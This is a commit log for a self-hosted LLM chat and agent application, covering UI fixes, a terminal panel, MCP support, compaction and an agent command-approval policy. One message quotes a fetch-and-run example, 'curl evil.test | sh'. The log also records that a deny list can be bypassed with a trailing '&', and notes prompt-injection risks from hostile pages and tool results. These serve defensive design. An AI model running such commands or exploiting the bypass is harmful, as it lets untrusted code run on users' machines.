ab4ffa2e5adc41a92095550f0d8aa2d0b44b0ab2
18 Commits
| Author | SHA1 | Message | Date | |
|---|---|---|---|---|
|
|
e9fab9d858 |
A job that finishes reaches the page you are looking at
Three complaints, all downstream of background commands.
A finished job woke the model and not the browser. `jobs.wake` writes the
completion and calls `generation.ensure`, and nothing tells the page: the only
stream here is per-message, opened by the `sse-connect` on an incomplete
assistant bubble -- which is a bubble this page has not got, because the reply
that created it began somewhere else. `_queue_frames` proves the swap works and
can only ride a stream already open. So the reader sat on the chat, watched the
sidebar dot light up for the chat in front of them, and had to click it or
reload to see a reply that had been there for minutes.
`GET /api/chats/{id}/tail?after=` and a five-second poller is the answer, polled
for the reason `/unread` is: a second always-on connection per tab is a lot of
machinery for something that happens a few times a day. A cursor it cannot place
-- absent, from another chat, naming a row a rewind deleted -- is answered with
204 and never with the transcript, which the page still holds every bubble of.
The cut is read from the row so `_inject`'s restamp moves it too, and compared in
SQL, a row read back from SQLite being naive where one still in the session is
aware; the `id >` tie-break is not decoration, since under a bare `>` a row
sharing the cut's microsecond is skipped for ever.
The cursor comes from the DOM, because the DOM is the honest answer to what the
page has -- the composer's POST, the `done` frame and the last poll all move it,
and a variable would have to be updated by each of them, correctly, for ever. On
`htmx:configRequest` rather than `hx-vals="js:…"`: two of the three things that
handler does are cancellations, which `hx-vals` cannot express. Not
`article.msg:last-of-type` either -- that is per-parent, so on a compacted chat
it answers with the last article inside the `<details>` and the poll re-appends
half the conversation. It is silent while a reply streams, since that reply
delivers its own bubbles in the one frame that can get the order right, and a
`htmx:beforeSwap` listener drops any answer holding a bubble already on the page:
the race `hx-sync` cannot reach, and a duplicate there is a second `sse-connect`
for one message rather than a cosmetic one. The route clears `unread` on every
tick including the 204, because `_persist` marks a reply unread whenever
`followers == 0` and that is true of a job-woken reply with somebody watching it.
The completion also claimed the reader had sent it. The role is load-bearing --
`_inject` sends a queued turn verbatim and `build_messages` must keep seeing a
user turn -- so `Message.machine` marks the bubble instead and the request is
untouched. Their initial, their name and a pencil offering to rewrite what a
machine reported: the route refuses the edit too, a hidden button being a
courtesy. `_completion_text` is deliberately unchanged, `tool.background` quoting
its opening sentence to the model, and there is now a test holding the two
together.
And the panel. `.jobs__row` had no horizontal padding while `.picker__menu` has
none either, so every row ran flush into the border under a header inset by
--sp-3. `jobs__row--open` had been emitted since the panel shipped with no rule
anywhere, so the row whose log was on screen looked like the ones that were not.
The dot was keyed on `status`, and `done` is exit 0 and exit 2 alike -- green
beside the row's own "Failed, exit 2" -- so `JobView.tone` answers the colour and
the template goes on answering the wording, which is the half a class name cannot
carry. `duration` is empty for a running job on purpose: this panel is fetched
when somebody opens it and never polled, so a live figure would freeze the
instant it painted. Its stamps are normalised before subtracting, a job started
before a restart and finished after it having one naive and one aware.
Driven under the DOM stub before committing, per the standing rule: two listeners
on document.body for events dispatched at a requesting element are exactly the
shape a regex cannot check.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
|
4643d1b584 |
Look around the machine before deciding to talk about it
The terminal and the canvas both needed a Chat, so they were missing from the one screen where you are choosing which machine to work on. A draft is the smallest thing that fixes it: an id, and the three facts behind it. The trick is that a draft resolves to a *transient* Chat -- constructed, never added to a session. `canvas.agent_ready`, `_executor`, `_load_agent`, `_save_agent` and `agent_session.resolve` read exactly four attributes between them and none of them queries or writes the row, so all of it works unchanged and nothing had to learn what a draft is. Proven against a real sshd rather than a stub: a transient chat opens and saves a project file over the same SFTP path a real one uses, and the database stays empty throughout. Chats are still created lazily. A draft is not a chat and never becomes one; when the first prompt makes the real one, the shell is re-keyed into it and the open tabs are copied across. `terminal.rekey` moves the registry key *and* `session.chat_id`, because close_for_profile, close_for_owner and the reaper all pop by the field -- a stale one would leave a dead session that `get` keeps handing out. The shell is only adopted when its profile and directory match the chat as finally resolved, since `_new_chat` settles an empty directory to the connection's own; otherwise it is left alone rather than transplanted onto a chat that says it runs elsewhere. Two canvas sources are refused on a draft, by name, and one of them is a hole rather than an inconvenience. `_load_file` authorises with `attachment.chat_id != chat.id`, and an upload made on the new-chat screen is stored with `chat_id=None` -- so a draft whose chat carried no id would make that comparison `None != None`, which is False, and open every unclaimed attachment its owner has. `as_chat` does set an id, so it already fails; the refusal is stated anyway, because a guarantee that lives in an id-shaped coincidence is one the next change breaks without noticing. Adoption needed almost no JavaScript: start_chat already answers with HX-Redirect, so the page reloads and the canvas adopts by construction while the terminal reconnects to the re-keyed session and replays its scrollback -- the "a reload is indistinguishable from a second tab" property working for us. What re-points them mid-screen is a `lembas:agent-target` event, dispatched from `setDir` and the connection select because assigning to a hidden field's value fires nothing on its own. Driven under a DOM stub before committing. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fe43e95b79 |
A thinking block that says how long and how much
Each block reports its own round now. `reasoning_ms` was the reply's first burst, written once, so on the fifteen-block reply GPT-OSS actually produces only the first could claim a duration and the other fourteen said "Thought" and nothing at all. `Generation.thinking_ms` accumulates per round and `close_step` stamps it cumulatively, so steps.py diffs it exactly as it already diffs the three lengths beside it. The interval between a round's first and last reasoning delta, deliberately, not a sum of gaps between deltas -- that would count the network's latency as the model's thinking. While it runs: "Thinking" with an ellipsis that types itself, and the seconds and tokens climbing beside it. The ellipsis is a `content` keyframe, so there is no timer to start, stop or clean up when the block is swapped away -- it stops existing when the element does. The numbers come from a `think` frame, and `round_thinking_ms` is written by the producer rather than computed by the follower from a start time: a model that has stopped thinking and moved on to a tool should show a settled number, not a clock that keeps running. Tokens read exactly up to 200 and as `0.4k` above it, from one helper shared by the live label and the stored one, so the two cannot drift into two conventions. The live duration is terser than the finished one -- `6s` against `6 seconds` -- because it sits beside an animating word and changes every second, where "less than a second" flickering into "1 second" reads as a glitch. Checked against the real endpoint: fourteen marks carrying 919ms through 14223ms, per-block labels from "less than a second · 111" to "4 seconds · 0.5k", and the live frames resetting each round rather than accumulating. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
df2d5cc877 |
The jobs chip was replacing the whole transcript
This is the blank agent chat, and it was not the transcript rewrite at all.
`hx-target` is inherited. The composer's form carries `hx-target="#thread"`
with `hx-swap="beforeend"`, which is what makes a sent message append a bubble.
The background-jobs chip I added last commit sits inside that form and declared
`hx-swap="outerHTML"` and nothing else -- which reads as "replace yourself" and
resolved, through the form, to "replace #thread with yourself". On load, and
then again every five seconds.
So an agent chat rendered its reply and then went blank, the reader's own prompt
along with it, because the entire transcript had been swapped out for a chip
that renders empty when no jobs are running. Only agent chats, because that is
the only place the chip exists. The server logged nothing, because nothing there
had gone wrong: every page render, every SSE frame and every stored row was
correct throughout, which is why four rounds of looking at the server found
nothing.
Both the chip and the element that loads it now carry `hx-target="this"`, and
`tests/test_chat.py` walks the composer's form and refuses anything that fetches
without saying where its answer goes. Checked against the bug before being kept.
Worth being precise about what made it invisible: the markup was correct. There
is nothing wrong with `hx-swap="outerHTML"` on an element with no target -- it
means "swap yourself" right up until an ancestor disagrees. It is the same
family as the trigger bound where the event does not go, and the same lesson:
assert the resolved property, not the attributes.
My earlier fix in
|
||
|
|
3065878bd0 |
A question that offers real choices, and says how many you may take
Three things about `ask_user`, all of them about the card being answerable rather than about the tool being callable. Options are required now, and they are objects: a label, and a line of description where the label alone does not say what choosing it would mean. "Rewrite it" and "Patch it" are two words that do not tell you which one loses your uncommitted work. They stack one per line, because a row of chips has nowhere to put the second line and no room to read the first. The model says whether they are exclusive. Only it knows whether its options are alternatives or a set, and the card has to show which -- a radio group offered where checkboxes were meant loses every answer but one. Exclusive is the default, being the cheaper mistake. A `multiple` question posts the same field name once per ticked box, so the endpoint gathers choices into a list; the `setdefault` it did before kept the first and dropped the rest, which is an answer that says something the reader did not. And "Something else" is added here, on every question, with the box behind it revealed by `:has()` and no JavaScript at all. The model is told never to write an "other" option of its own, because its version would be a choice with no box behind it -- a word submitted that means nothing. It carries a sentinel rather than an answer, and the endpoint swaps in what was typed beside it, or drops it when the box was left empty rather than telling the model the answer is "__other__". Typing no longer beats picking. That rule belonged to a box that was always visible next to the options; this one only exists once its own option is chosen, so picking is the answer and the box is one of the things you can pick. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
7df68eb44c |
A reply you can read while it is still being written
Seven things, and the thread running through them is that the machinery was right and what a person saw of it was not. Auto asked about every compound command. `policy.subject` refuses to let any pattern match a line carrying a shell metacharacter -- correct, and the whole reason `git *` cannot also mean `git status; curl evil.test | sh` -- and a rule on top of that asked whenever a deny list existed at all. The shipped deny list is non-empty, so `cd build && make` and `pytest | tail` both stopped for approval in the one mode whose purpose is not stopping. Nobody read that as a security control; they read it as Auto not working. It is gone, and what it costs is written down beside it and under the admin field: a deny pattern can be walked past with a trailing `&`. Matching each segment would restore both. A forty-round agent reply rendered as three zones -- all the thinking, then every tool block, then all the prose -- which is fine at two rounds and unreadable at forty. `Message.steps_json` is a table of contents over the three stores rather than a fourth copy of any of them, so `build_messages`, compaction and titling still see one string. No marks means the old layout, which is what every existing row reads back, with no version flag and no branch in the template. Nothing could be expanded while a reply streamed, and that was two faults. The tool list was replaced wholesale twelve times a second, so an opened block shut itself within 80ms; the ids are stable now and steps.js puts them back, across the final swap as well. And the thread snapped to the bottom on every frame, so a block that did open was scrolled off -- opening one now stops it following until you scroll back down yourself. Both driven under a DOM stub before committing, per the note in CLAUDE.md. The metrics were never wrong, which is why this looked like arithmetic and was not. One chip is what the reply cost and the other is what the conversation occupies; on a multi-round reply those differ by a lot and neither said which it was. What was broken is that they stood still -- usage arrives once a round, and `reported or estimated` stops consulting the estimate the moment the first chunk lands -- and that the `~` marking an estimate vanished at exactly the point everything became one. Interpolated between counts now, never over them. Background jobs had no surface at all. A chip counting what is still running and a panel with each job's command, state, log tail and a Stop button; the fifth exception to "the modes govern the model, not the interface", for the reason the other four are. file_edit had two faults worth more than the error text. A file it could not read was reported to the model as an empty one, and a file too large to read whole was patched and written back by a call that replaces -- deleting everything past the ceiling, silently, and reporting success with a byte count. Both refused now. A refused hunk also prints the file around where it landed, which is most of the retry loop these models get into. And a model can talk itself to a standstill: a round with no tool calls is a model saying it has finished, so pages of "Ready? GO! ... Wait ... Actually ..." ended the reply having done nothing. `core.commit` is the prompt half and a second nudge signal is the other, narrowed to a long reply that touched nothing so that finishing is never argued with. Also: the scope menu is called Toggle and no longer offers to type an `@` for you, and "Always allow this" says when it has stored nothing rather than appearing to work. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
fd4db76c64 |
Files, open beside the conversation
A third side panel, built the way the terminal is and filled the way the inspector is: tabs holding open files. Project files over SFTP in an agent chat; notes, skills, knowledge documents, this chat's text attachments and its own scratch document everywhere. Read with pygments, edited in a plain textarea, saved with a conflict check. A bug found on the way in, and the reason this needed its own read path. `ssh.read_file` ends in `clean_output`, which strips ANSI escapes and decodes with errors="replace" -- right for the output of a command, and fatal for an editor: open a file containing an escape byte, press Save, and you have silently rewritten it with the escapes gone and every undecodable byte replaced by U+FFFD. `read_text`/`write_text` decode strictly, report binary rather than mangling it, carry an mtime:size token for a file that moved underneath, and refuse an oversize write rather than truncating -- `write_file` truncates because a model is told how many bytes it wrote, and somebody pressing Save is not. The model-facing pair is untouched: what it returns is a contract a model has been shown. A truncated read opens read-only for the mirror-image reason. Six sources go through one dispatch table, for the reason tool_labels.py is a table: six independently written permission checks is how one ends up written slightly differently, and that failure looks like editing somebody else's note. A save on a project file bypasses agent/policy.py, which makes it the fourth documented exception to "the modes do not govern the keyboard" and the first that writes. Same argument as the terminal panel -- whoever owns the credential could write the file with scp -- but the consequence is larger and is now said out loud rather than left to be inferred. The model opens tabs from the file tools it was already calling, so no new schema and no tokens. It never brings one to the front: an agent reads forty files in a long reply, and taking the screen each time would drag somebody through all of them and lose any edit in progress. Only the strip is streamed, guarded on truthiness so the frame can never blank itself -- an empty one would close every open tab, the approval card you could press twice with the sign reversed. Both halves are settled on the server, which is why canvas.js needs no guard against a swap at all. No vendored editor. CodeMirror 6 needs a bundler, which is hard rule 1; CodeMirror 5 would be a larger payload than xterm on every page, and xterm is the one heavy dependency precisely because it loads only where it can be used. So: server-rendered highlighting for reading, a textarea for writing, and the panel says there is no colour while you type rather than pretending. Also here: a scratch document per chat, with `scratch_write` at RISK_READ on plan_update's argument, and a test pinning the three numbers that decide a panel's width -- LAYOUT_BOUNDS drops an unknown variable silently, so a panel missing from it has a drag handle that works and forgets. Driven under a DOM stub and against the running application. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
0bee366488 |
The menu that never appeared, and the reason it never did
composer.js built its menu lazily inside show(), and refresh() wrote list.innerHTML before calling it. `list` is null until build() has run, so the first `/` or `@` ever typed threw a TypeError and took the handler with it. The menu has never appeared in any browser. That is why /compact "isn't there": nothing was. I shipped it having only run `node --check`, which parses the file happily. So this also brings the thing that catches it: a DOM stub driven under node -- not committed, hard rule 1 stands, it is an instrument like curl. It reproduced the crash in one run and immediately found two more: choosing a command from the menu left `/help` sitting in the box so the next Enter ran it again, and Tab completed nothing. Tab now completes and Enter runs, which is the split that matters for a command taking an argument. `.select--sm` was used three times and defined nowhere. I deleted the copy in chat.css and left a comment saying it "is defined once, in app.css", where it did not exist -- so those selects fell back to plain `.select`: width 100% in a flex row where four siblings wanted the same, all of them shrinking together until each was a few characters wide, and half a rem taller than everything beside them. That was the whole of "the connection switch needs to be wider". The connection and directory move to the topbar. They cannot change -- update_chat refuses both with a 409 -- so they are facts about the chat, of a kind with the Temporary badge, not controls on the message. The mode stays by the box. Compaction says it is working. It makes a model call that takes seconds and had no indicator anywhere: `hx-indicator` appears nowhere in this codebase, and the Generation.status channel that says "Summarising earlier messages…" for the automatic path cannot be borrowed, because it lives in the streaming bubble and this endpoint refuses to run while any message is unfinished. The overflow menu now runs the same code as /compact rather than posting for itself, so there is one implementation, one spinner, and one place the endpoint's four carefully written 409s finally reach somebody. /effort, low medium high, per chat with a per-model default. It goes out twice because there is no field that works everywhere: OpenAI and vLLM read reasoning_effort, llama.cpp's own docs say other values "have no effect" and its maintainer says the field "simply gets dropped without error or logging" -- what reaches gpt-oss behind it is chat_template_kwargs. Both are sent, and only once an effort has been chosen, so a provider strict about unknown parameters sees exactly the request it always did until somebody opts in. The control appears only on a model marked `reasoning`, a flag that has existed since the beginning with no reader at all. Mentions and recognised commands are marked as you type -- a mirror behind the textarea holding the same text with every character transparent, contributing nothing but a rounded rectangle, so a pixel of drift is a misplaced rectangle rather than a doubled glyph. A command is marked only when it resolves, so `/thoughts on this` visibly is not one before you send it. And again in the transcript, where user turns had no render step at all and now escape before they inject. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
131a4083f8 |
The terminal learns where one command ends, and can be dragged wider
"The last command and its output" was not something the panel could honestly offer. sendToChat took the last forty rows of the screen buffer, hard-wrapped at the terminal's width with no way to tell a wrap from a newline -- its own comment said so. So bash and zsh are given the OSC 133 markers VS Code and WezTerm use, and Copy, Send and an Auto toggle are built on those. The integration is written by the PTY command string itself, with printf. sshd runs that string through $SHELL -c, so it can case on the shell's own name and needs no probe, no second channel and no writable home. Passing it through the environment does not work -- every distribution ships AcceptEnv LANG LC_*, so anything else is dropped silently -- and feeding `source ...` in as keystrokes races a slow .zshrc, echoes into the scrollback and lands in shell history. Nothing needs hiding, which is the point of choosing it: the setup runs before the shell exists and never writes to the PTY's input side, so there is nothing to echo and no fan-out gate to build. Two things were wrong in the first version and both were found by running it against real shells rather than the fake one. bash: the DEBUG trap fires before every simple command *including each one inside PROMPT_COMMAND*, so $? read from there is whatever ran a moment ago -- every command reported success. The status is captured in the trap now, which also removes the two-entry PROMPT_COMMAND dance entirely. zsh: $ZDOTDIR is already ours by the time .zshenv runs, so the shims were sourcing themselves and none of the user's configuration loaded; the original is passed on the exec line. Parsing is server-side. The `behind` path resets the terminal and replays a truncated scrollback, so a client parser routinely sees a finish with no start; two tabs share one shell and can disagree; and what comes out of this ends up inside a prompt, so deriving it here leaves nothing to disbelieve. The bytes are fanned out unchanged -- xterm consumes an OSC it has no handler for. Output is bounded head and tail, 48KB and 16KB: a build that fails ten megabytes in has the invocation at the top and the error at the bottom. Carriage returns collapse to the last state of each line, which is the difference between a usable prompt and two megabytes of spinner. The fence is sized to its content, because output containing three backticks would otherwise break out and read as prose. Any shell that is not bash or zsh starts exactly as it did before. The buttons then scrape the screen and say so, and Auto is disabled rather than degraded: forty arbitrary lines on every message is worse than nothing. Also a generic [data-resize] handle, keyboard included, persisted the way the theme is. The inspector and sidebar can have it whenever they want it. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
5117168454 |
A terminal panel beside an agent chat
A real shell on the chat's own connection, opened and closed like the inspector and never beside it. The modes govern the model; what a person types is theirs, since they hold the credential and could open the same shell with an ssh client. The model cannot see the panel -- a button copies the output you choose into the composer. The session outlives the socket: closing the panel leaves a build running, and coming back reattaches with the scrollback. Two tabs share one shell and the smaller window decides the size. It ends on an idle timeout, on deleting the chat, on disabling, moving or deleting the connection, and on a restart -- which says why rather than quietly opening a fresh shell that has lost the working directory. The nginx template's `Connection ""` is right for SSE and fails every WebSocket handshake, so `location /` now uses a `map $http_upgrade`; update.sh grows a drift check for it, because the only symptom on a stale vhost is a panel that cannot connect. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
246be1fa8e |
Write down what agent chats are and what will bite you
CLAUDE.md gets the entries worth having been told: that the mode is enforced in the loop rather than the prompt and why that distinction is load-bearing; that an approved call has to be told it was approved, or the runners' own backstop refuses the very thing somebody just allowed; that `registry` must know the agent tools or the harness cannot name the machine -- the same omission that cost custom tools their guidance once already; that each command is a fresh shell and `apt-get install` needs an update first, which are the two likeliest sources of "the agent seems stupid"; that asyncssh's four defaults are all wrong when one unix account is shared; and that rewind rewinds the transcript and not the machine. "Not built yet" loses agentic execution and gains the reason nothing runs on this host -- with the two consequences stated plainly, since they are the ones somebody has to weigh: the security of an agent chat is the security of the host behind its profile, and there is no "no network" switch, because the network belongs to the far side. README gets a section that starts with the container, because that is the intended shape and the thing a reader has to build before any of it means anything. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
ecb52e9978 |
MCP servers, over streamable HTTP
A server is a row with a URL; its tools are discovered by a button and cached, then offered beside the built-in ones. Written by hand rather than taken from the reference SDK, because that SDK's transport does its own connecting -- and the one thing that must not be bypassed is check_url on every hop. Owning the transport is the point; the framing beside it is the small part. Sessions are per call: initialize, initialized, the call, a best-effort DELETE. Caching one wants an owner, a TTL, eviction, a lock and a shutdown hook, and the server may expire it under all of that anyway -- ToolContext is a session-free snapshot precisely so nothing in a tool holds live state. A server's names and descriptions reach the model as instructions and are bounded before they do; what it returns is escaped preformatted text, never markdown. Tools are namespaced per server, so two servers exposing "search" do not collide and neither shadows a built-in. Also: a round's calls now run together under a semaphore, results indexed so each tool turn stays paired with its call, and generation.status names what is running -- a remote tool is latency-bound, and a silent pause is what a hang looks like. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
17f3fa1946 |
Compaction: a button, and automatically when the window fills
A long conversation eventually just stops working. Compaction summarises the earlier turns and sends the summary in their place. The messages are kept. They stay in the transcript behind a collapsed divider and simply stop being part of the request, which is what makes the button safe to press and automatic compaction safe to have at all: a summary that came out badly is a bad turn, not a lost conversation. Stored on the Chat, not as a synthetic Message. A synthetic row needs a role -- `system` breaks the one-system-message rule the moment build_messages emits it beside the harness, and user/assistant makes it a turn people can edit, regenerate from and copy, indistinguishable from a real one in all four places a bubble is rendered. Worse, "editing rewinds, it does not branch" would silently delete it and leave no marker that compaction had happened at all. The summary goes out as a user turn and an assistant turn, not one. A leading assistant breaks templates requiring the first non-system message to be user; a lone leading user produces user, user whenever the kept history starts on a user turn -- which it always does, because the cutoff lands on a finished reply. compacted_through_id is a plain id rather than a foreign key: migrations.py compiles only the column type, so a REFERENCES clause would exist on a fresh database and not on an upgraded one, and a constraint half the fleet has is worse than none. cutoff_message validates it on every read instead, and a rewind past the boundary clears it. Compacting again summarises only the delta, with the previous summary supplied to be subsumed. Re-summarising the whole chat each time grows quadratically and eventually exceeds the window it is protecting. Automatically at the top of _run, not in post_message: that route's contract is to return immediately and leave the slow part to a resumable connection, and it also means build_request is called once, after compaction, with no second assembly path. The trigger is the last reply's recorded usage plus an estimate of the new turn -- retrospective because true prompt_tokens are only knowable after a response, plus the delta because otherwise fifty thousand characters pasted into the composer overflow a window that read 90% last turn. It never fires when the context length is unknown. It does fire on estimated counts, which is safe here precisely because nothing is lost. _maybe_compact never raises: a failure logs and sends the uncompacted request. A `status` event says "Summarising earlier messages…" in the meantime, because a silent multi-second pause before the first token is what a hang looks like. The wording is three fragments under Admin - Prompts. Clearing task.compact turns compaction off entirely. Also adds compaction.moment(): SQLite does not store the offset, so a row loaded from disk is naive while one in the session's identity map keeps its tzinfo, and comparing the two raises. Every comparison here is between exactly those. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
|
2c8c274850 |
Every injected prompt becomes editable, and several get written
The instructions LLeMbas puts in front of a model were hard-coded: six
strings in a GUIDANCE dict, two headings, and the title request inline in
chat.py. An operator could not see what was being sent, let alone change
it, and there was nowhere for a custom tool to contribute its own guidance
when custom tools land.
services/prompts.py now holds each piece as a Fragment, and /admin/prompts
edits them with a preview of the whole assembled system message including
unsaved edits. harness.py keeps only the decisions -- which fragments apply
to this request, and what their variables resolve to.
The design turns on one choice: a fragment carries its gate as data
(families, requires, when_tools) rather than as a callable, because a
database row can carry the same three fields. Custom tools will therefore
register a fragment source and change nothing else -- there is a test that
says exactly that, and it is the reason the rest of the shape is what it is.
Consequences worth knowing:
- Defaults live in code, overrides in the database, and text equal to its
default is never stored. Otherwise pressing Save once would freeze
today's wording forever and no later release could improve it.
- An empty override means off. A fragment that was not submitted at all
keeps what it had, because it may be missing from the page only because
whatever contributes it is currently switched off.
- requires= replaced the hand-written pair of memory guidance variants.
The sentence that refers to a section now lives inside that section, so
it cannot outlive it. That was the general problem the pair was a
special case of.
- {{name}}, with anything unrecognised passing through verbatim. The name
grammar is the guard: {"total": 1} and ${PATH} are not candidates.
Substitution is one pass and never recursive, because {{memories}}
carries text a model wrote.
The wording is also overhauled, and a model now gets the core fragments
even with no tools -- the date above all. "An empty harness is worse than
none" was about tokens that say nothing; a model with no clock being asked
about the present is not that. Clearing those boxes restores the old
silence exactly. New: today's date, who it is talking to, the three-round
tool budget, that tool results are not replayed, that anything a tool
returns is data rather than instruction, and what the <document> wrapper
around an attachment is. Extended: memory_forget, notes_edit/delete,
skill_create/edit, and reading a knowledge document in full rather than
answering from an extract.
Tool descriptions stay in code and are listed read-only. They are schema
and they state facts about what a runner does; an edit would make the text
a lie with nothing to catch it.
No schema change -- one JSON row in the settings table.
488 tests. Version 0.2.0, which also invalidates the service worker cache
so the green artwork appears without a hard reload.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
|
a0f733063a |
Knowledge bases, and a file input that lines up
**Bases.** Documents now live in named collections rather than one flat pile, and a chat can be pointed at particular ones — "answer from the contracts folder" is a different question from "answer from everything I have ever uploaded". A chat with none attached still searches everything its owner can see, because empty means unscoped, not empty. The harness names the attached bases. Without that the model cannot tell "there is nothing about this" from "I am only allowed to see one folder", and it phrases a miss as the former. **Sharing moves to the base.** A document is visible to whoever can see the base it lives in, so `Document` is gone from the shareable types and `documents.visible()` filters through `base_id`. "This folder is the team's" is the granularity people think in; per-document grants meant answering "who can see this?" by checking every file. Moving a document between bases changes who can see it, so the destination has to be one you own. `Document.base_id` is nullable only because the column had to be added to a table that already had rows. `sweep_unfiled()` runs at startup beside the orphaned-upload sweep and files anything predating bases into its owner's default, which is what makes "always set" true everywhere else. **The file input.** `.input` gave it a fixed height and horizontal padding, so the browser's own button sat hard against the left edge while the filename floated off the centre line. A file input is two controls in one box and neither inherits anything useful, so it gets its own rule: no horizontal padding, the button sized to `--control-h` with the divider that separates it, and the text centred with line-height rather than flexbox, which file inputs do not lay out reliably. 437 tests, ruff clean. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
21001f2eb8 |
Knowledge, notes, memory and skills, and a harness to make them used
Four places a model can reach for, differing in who writes a record and how it gets in front of the model. **Knowledge** is uploaded by a person and searched by the model. It goes through `services/files.py:prepare` — the same pipeline as a chat attachment — so the same PDF produces the same text whichever way it arrived, and `Document` carries the same content columns as `Attachment` for the same reason. **Notes** are written by the model and edited by you. Too long to inject, so they are searched. **Memory** is short facts, and every one of them goes into every request. That single decision is where the rest of its design comes from: records are capped short, the block has a budget, there is no search tool because the model is already looking at them, and they are not shareable — a record about a person is not content to hand round. **Skills** are saved procedures. Only the name and description are injected; the body is fetched when the model decides one applies, which is what makes a hundred skills affordable. A model may write and revise its own — the safety story is not a gate but a record: every revision is kept, attributed and revertible. A model that has just read a hostile page can save a skill that outlives the conversation, and the honest mitigation is that it is visible and undoable rather than that it was prevented. **The harness** is why any of it gets used. A model handed a tools array ignores it and answers from recall, because nothing in the request suggests otherwise. `services/harness.py` assembles a preamble from what this chat actually has: when to reach for each tool, the memories, the skill index. This is an exception to "system prompts are precedence, not concatenation", and a deliberate one. That rule governs the three *authored* layers and is untouched — exactly one still wins. The harness is a different axis: it describes the machinery rather than the behaviour, nobody authored it, and there is nothing for it to disagree with. It is prepended to whichever authored prompt won, in one system message, since several endpoints reject a second. Supporting changes: - **Sharing**, in one helper. `visible_to()` is the only definition of who can see a library item and every listing and tool goes through it. Sharing grants *reading*; two people editing one note with no history and no merge is worse than copying it. **Administrators do not bypass this** — they bypass permissions elsewhere because an admin can grant themselves those anyway, but reading somebody's private notes is a different act. - **FTS5**, created by `db/migrations.py:ensure_fts` with the triggers an external-content index needs. Idempotent, like the column sync beside it. Terms are ANDed and then ORed: the caller is usually a model writing a whole question, and requiring every word loses the match on one absent term. - **The attach button is a menu** — file, image, a web page, or a document from the library. Attaching a document copies it, because history must not change when a document is edited later. - **A URL fetcher with an SSRF guard.** This server can reach the router, the other services on the box and LLeMbas itself, and the address can come from a model. Private ranges are refused *after resolution* and redirects are followed by hand so every hop is checked. An admin can open it deliberately. - **Model capabilities split** into protocol support and a toggle per built-in tool. Rows predating the split have no `tool_*` keys, and absent counts as on when `tools` is on — otherwise an upgrade silently takes web search away from every model already configured for it. Also fixes the test fixture, which built the schema with `create_all` and so ran against a database without the FTS tables production has; it now runs `sync_schema`, the same path startup takes. 430 tests, ruff clean. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com> |
||
|
|
7456525d19 |
PWA, one send/stop button, audio in and out, web search as a tool
Four pieces of work.
**Installable.** A manifest carrying the instance name, PWA icons rasterised
from the existing mark at design time, a service worker and a themed offline
page. The worker caches the shell only and bails out on /api/, /auth/, /admin/
and anything accepting text/event-stream -- passing a reply stream through a
worker turns it into one delivery at the end, or nothing. It is served from
GET /sw.js rather than the static mount because a worker's scope is the path it
came from.
**Send and Stop are one button.** They were two, and the hidden one was never
hidden: `.btn` is display: inline-flex, which outranks the browser's own
`[hidden] { display: none }`, so Stop sat permanently beside Send. app.css now
forces the attribute to win -- every control toggled with `hidden` depended on
that -- and the composer renders one button carrying both icons, with ui.js
flipping data-composer-action and the type with it.
**Audio.** Speech to text and text to speech against any OpenAI-shaped
/v1/audio/* endpoint: dictate into the composer, have a reply read out.
Instance settings in Admin, per-reader overrides in Settings, with the voice
list discovered from the server where it offers one. Recorded audio is capped
and never written to disk -- it is not an attachment, it has no owner, and
nothing would ever sweep it.
**Web search, as a tool.** This is the tool loop PLAN.md described as the real
work: one reply is now a bounded sequence of requests rather than one. The model
asks, the tool runs, the result goes back and it is asked again, up to three
rounds. Providers are DuckDuckGo (no setup), SearXNG and Firecrawl.
Two decisions worth stating. Tools are only offered to models flagged `tools`,
because an endpoint without support rejects the whole request rather than
ignoring the array -- the same reason images only reach models flagged
`vision`. And tool results are not replayed as context on the next turn, for the
same reasons reasoning is not: the answer already contains what the model made
of them, and replaying stale results into every later request wastes the window
and reliably sends a small model into a search loop. The sources stay visible in
the transcript instead.
Search results are untrusted third-party text and are treated as such: escaped,
and only http/https URLs rendered as links.
338 tests, ruff clean.
Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
|
de178837b8 |
Background generation, unread replies, send/stop, PLAN.md
**Replies now run in the background.** Generation was driven by the SSE request, so navigating away or opening another chat cut the answer off mid-sentence. services/generation.py owns the work as its own task and the SSE endpoint merely follows it. Verified: attached briefly, closed the connection, went to another page -- the reply finished anyway, 832 characters, not marked stopped, auto-titled. Reattaching works because both `render` and `reasoning` frames now carry the whole block rather than a delta. A follower arriving late has no earlier fragments to append to, so deltas would leave it permanently missing the beginning. Verified: attached six seconds in and the first frame already contained 517 characters written while nobody watched. **Unread indicator.** A reply that lands with no follower attached marks its chat unread; the sidebar polls every 10s for out-of-band dot spans plus an HX-Trigger that raises a toast. Polled rather than pushed: a browser sitting on another chat has no connection to the one that finished, and an always-on channel per tab is a lot of machinery for a green dot. `unread_notified` stops the same arrival being announced every tick. Follower count is what decides "was anyone watching", so reading it as it arrives does not mark it unread -- verified both ways. **Stop is the send button.** While a reply is being written the send button becomes a red stop square, found via a MutationObserver on the thread since the composer and the streaming bubble are far apart in the document. The in-bubble Stop is gone. **Attachment border removed.** As asked -- an attachment is a picture, and the frame only ever drew at the wrong width. The anchor now shrink-wraps and the img's width/height attributes are overridden so a small image shows at its own size. Adds PLAN.md: what is built, what is not, known limits, and the decisions that look like oversights until you know the reason. 239 tests, ruff clean. Co-Authored-By: Claude 